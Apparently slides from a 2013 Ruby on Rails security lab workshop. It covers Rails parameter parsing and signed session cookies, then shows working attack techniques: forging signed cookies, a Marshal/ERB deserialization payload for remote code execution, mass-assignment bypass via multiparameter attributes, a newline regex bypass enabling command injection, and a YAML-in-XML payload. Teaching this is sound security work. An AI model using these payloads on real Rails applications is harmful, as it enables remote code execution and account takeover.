Labs Session
Besides the usual Audit tools and a Ruby installation the following is quite handy:

Ruby on Rails is an open-source web framework that's optimized for programmer happiness and sustainable productivity. It lets you write beautiful code by favoring convention over configuration.
Ruby on Rails (Rails/RoR) is an Model-View-Controller (MVC) based Web application framework written in Ruby.
|-- app Overview
| |-- assets
| | |-- images
| | |-- javascripts
| | `-- stylesheets
| |-- controllers
| |-- helpers
| |-- mailers
| |-- models
| `-- views
| `-- layouts
|-- config
| |-- environments
| |-- initializers
| `-- locales
|-- db
|-- doc
|-- lib
| |-- assets
| `-- tasks
|-- log
|-- public
|-- script
|-- test
| |-- fixtures
| |-- functional
| |-- integration
| |-- performance
| `-- unit
|-- tmp
| `-- cache
| `-- assets
`-- vendor
|-- assets
| |-- javascripts
| `-- stylesheets
`-- plugins
MVC is a software architecture pattern which splits up the software in three different domains:
app/models
class Post < ActiveRecord::Base
validates_presence_of :title
attr_accessible :body, :title
end
The models are located in app/models
Here we can see parts of the business logic, namely validates_presence_of :title, which enforces that a title is set within each post.
For a quick overview look at db/schema.rb
ActiveRecord::Schema.define(:version => 20130308130651) do
create_table "posts", :force => true do |t|
t.text "title"
t.text "body"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
[...]
app/views
<p id="notice"><%= notice %></p>
<p>
<b>Title:</b>
<%= @post.title %>
</p>
<p>
<b>Body:</b>
<%= @post.body %>
</p>
<%= link_to 'Edit', edit_post_path(@post) %> |
<%= link_to 'Back', posts_path %>
Views are typically written in ERB. This looks like above, a mixture of HTML and Ruby.
app/controllers
class PostsController < ApplicationController
[...]
def show
@post = Post.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @post }
end
end
A controller can define several filters:
Typical filter usage:
class UsersController < ApplicationController
layout 'admin'
before_filter :require_admin, :except => :show
[...]
end
We need to know how to build our input such that the RoR app understands it in order to be able to craft proper attacks and exploits.
params variable holds all HTTP Request parameters in form of a hash.
user=hacker&password=happy will yield a params hash of:
params = {"user"=>"hacker","password"=>"happy"}
emptystr=&array[]=one&array[]=two&
nilvar&hash[key1]=val1&hash[key2]=val2
params =
{ "emptystr" => "",
"array" => ["one","two"],
"nilvar" => nil,
"hash" =>
{ "key1" => "val1",
"key2" => "val2"
}
}
Rails if capable of assigning multiple values to one attribute (e.g. for Time variables)
This looks like this:
user[attr(1)]=val1&user[attr(2)]=val2&...&user[attr(N)]=valN
Posting this with content-Type text/xml
<user>
<name>hacker</name>
</user>
will result in:
{ "user" =>
{
"name" => "hacker"
}
}
* Note: This input method will be disabled in the upcoming Rails 4 release.
rails/activesupport/lib/active_support/xml_mini.rb
PARSING = {
"date" => Proc.new { |date| ::Date.parse(date) },
"datetime" => Proc.new { |time| ::Time.parse(time).utc rescue ::DateTime.parse(time).utc },
"integer" => Proc.new { |integer| integer.to_i },
"float" => Proc.new { |float| float.to_f },
"decimal" => Proc.new { |number| BigDecimal(number) },
"boolean" => Proc.new { |boolean| %w(1 true).include?(boolean.strip) },
"string" => Proc.new { |string| string.to_s },
"base64Binary" => Proc.new { |bin| ActiveSupport::Base64.decode64(bin) },
"binary" => Proc.new { |bin, entity| _parse_binary(bin, entity) },
"file" => Proc.new { |file, entity| _parse_file(file, entity) }
}
PARSING.update(
"double" => PARSING["float"],
"dateTime" => PARSING["datetime"]
)
JSON can encode per specification the following:
This JSON string:
{"a":["string",1,true,false,null,{"hash":"value"}]}
{"a"=>["string", 1, true, false, nil, {"hash"=>"value"}]}
Rails' sessions are by default held client side in a cookie. This cookie holds the session hash in the following form:
B64Blob--SHA1HMAC_of_B64Blob
Where the B64Blob is the serialized (Marshal.dump(session)) value of the session hash
Sessions cookies are not encrypted, so sensitive data should not go there (this will change in Rails 4)
Looking at them:
$ irb
1.9.3p194 :001 > require 'rails/all'
=> true
1.9.3p194 :002 > c = "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTc5MzhlNzc2MTVhN2Y0MWQyZmM4NThjNWE3ZTE1MzBlBjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMWJNWkFCM3VPSHpKV3MzSm1YQXdnOTQ4NlBnZG5QajQzYVNrNk9ScDdEM2M9BjsARg=="
=> "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTc5MzhlNzc2MTVhN2Y0MWQyZmM4NThjNWE3ZTE1MzBlBjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMWJNWkFCM3VPSHpKV3MzSm1YQXdnOTQ4NlBnZG5QajQzYVNrNk9ScDdEM2M9BjsARg=="
1.9.3p194 :003 > m = Base64.decode64 c
=> "\x04\b{\aI\"\x0Fsession_id\x06:\x06EFI\"%7938e77615a7f41d2fc858c5a7e1530e\x06;\x00TI\"\x10_csrf_token\x06;\x00FI\"1bMZAB3uOHzJWs3JmXAwg9486PgdnPj43aSk6ORp7D3c=\x06;\x00F"
1.9.3p194 :005 > Marshal.load m
=> {"session_id"=>"7938e77615a7f41d2fc858c5a7e1530e", "_csrf_token"=>"bMZAB3uOHzJWs3JmXAwg9486PgdnPj43aSk6ORp7D3c="}
The secret to the HMAC lies usually in config/initializers/secret_token.rb
Many devs are not aware of this file and happily check it into their open source projects.
With knowledge of the HMAC secret we can do pretty fancy stuff.
Signing them:
#!/usr/bin/ruby
# Sign a cookie in RoR style
require 'base64'
require 'openssl'
hashtype = 'SHA1'
key = "secret_key_of_the_app"
cookie = {"user_id"=>1}
c = Base64.strict_encode64(Marshal.dump(eval("#{cookie}"))).chomp
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(hashtype), key, c)
puts("#{c}--#{digest}")
For a handy script check out https://github.com/joernchen/evil_stuff/
What has been HMACed
cannot be un-HMACed
A.k.a. once you got the cookie, it is valid to the app until the secret is exchanged
def build_cookie
code = "eval('whatever ruby code')"
marshal_payload = Rex::Text.encode_base64(
"\x04\x08" +
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
":\x0E@instance" +
"o"+":\x08ERB"+"\x06" +
":\x09@src" +
Marshal.dump(code)[2..-1] +
":\x0C@method"+":\x0Bresult"
).chomp
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), SECRET_TOKEN, marshal_payload)
marshal_payload = Rex::Text.uri_encode(marshal_payload)
"#{marshal_payload}--#{digest}"
end
This vector was found by Charlie Somerville in the process of exploiting CVE-2013-0156.
To keep in mind:
nils can easily be passed via parameters
User.find_by_token(params[:token])
The default scaffolding generates controller code like:
class UsersController < ApplicationController
# GET /users
# GET /users.json
def index
@users = User.all
respond_to do |format|
format.html # index.html.erb
format.json { render json: @users }
end
end
# GET /users/1
# GET /users/1.json
def show
@user = User.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @user }
end
end
[...]
def signup
@user = User.new(params[:user])
@user.save
end
So we go ahead and post:
user[name]=hacker&user[admin]=1
def update
@user = User.find(params[:id])
params[:user].delete(:admin) # make sure to protect admin flag
respond_to do |format|
if @user.update_attributes(params[:user])
[...]
def update
@user = User.find(params[:id])
params[:user].delete(:admin) # make sure to protect admin flag
respond_to do |format|
if @user.update_attributes(params[:user])
[...]
Multiparameter attributes to the rescue!
Just POST: user[admin(1)]=1
How to do it right:
Put attr_protected or attr_accessible in the model:
class User < ActiveRecord::Base
attr_protected :admin, :suspended_at
[...]
end
As usual you should watch out for stuff like:
`command #{user_input}`
popen
system
%x
eval
...
Invokes the method identified by symbol, passing it any arguments specified. You can use __send__ if the name send clashes with an existing method in obj. When the method is identified by a string, the string is converted to a symbol.
send(ui1,ui2) is what to look for
Imagine ui1="instance_eval" and ui2="some ruby code"
So we have:
send__send__public_sendtryto look for as well
What's wrong here?
class PingController < ApplicationController
def ping
if params[:ip] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
render :text => `ping -c 4 #{params[:ip]}`
else
render :text => "Invalid IP"
end
end
end
$ perl -e '$a="foo\nbar" ; $a =~ /^foo$/ ? print "match" : print "no match"'
no match
$ ruby -e 'a="foo\nbar" ; if a =~ /^foo$/; puts "match" ;else puts "no match"; end'
match
class PingController < ApplicationController
def ping
if params[:ip] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
render :text => `ping -c 4 #{params[:ip]}`
else
render :text => "Invalid IP"
end
end
end
The above regex is bypassable like:
$ curl localhost:3000/ping/ping -H "Content-Type: application/json" --data \
'{"ip" : "127.0.0.999\n id"}'
Point you browser to:
http://www.phenoelit.org/stuff/hitb2013ams/
The Hall of Fame is at:
Build teams
I'm here to help when you get stuck
Root cause: YAML in typed XML
POST /railsapp HTTP/1.1
Content-Type: text/xml
[...]
<x type=”yaml”>--- some yaml</x>
=> params[:x] => “some yaml”
So, what if:
ActionController::Routing::RouteSet::NamedRouteCollection
alias []= add
def add(name, route)
routes[name.to_sym] = route
define_named_route_methods(name,route)
end
def define_named_route_methods(name, route)
{:url => {:only_path => false}, :path => {:only_path => true}}.each do |kind, opts|
hash = route.defaults.merge(:use_route => name).merge(opts)
define_hash_access route, name, kind, hash
[...]
def define_hash_access(route, name, kind, options)
selector = hash_access_name(name, kind)
# We use module_eval to avoid leaks
@module.module_eval <<-END_EVAL, __FILE__, __LINE__ + 1
remove_possible_method :#{selector}
[...]
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
:'doesnotmatter; RUBY PAYLOAD;': !ruby/object:OpenStruct
table:
:defaults: {} => nil
Send your rants 'n flames to joernchen@phenoelit.de
astera
FX
Mumpi
#social
HDM
greg
opti
tina
nowin
the HITB crew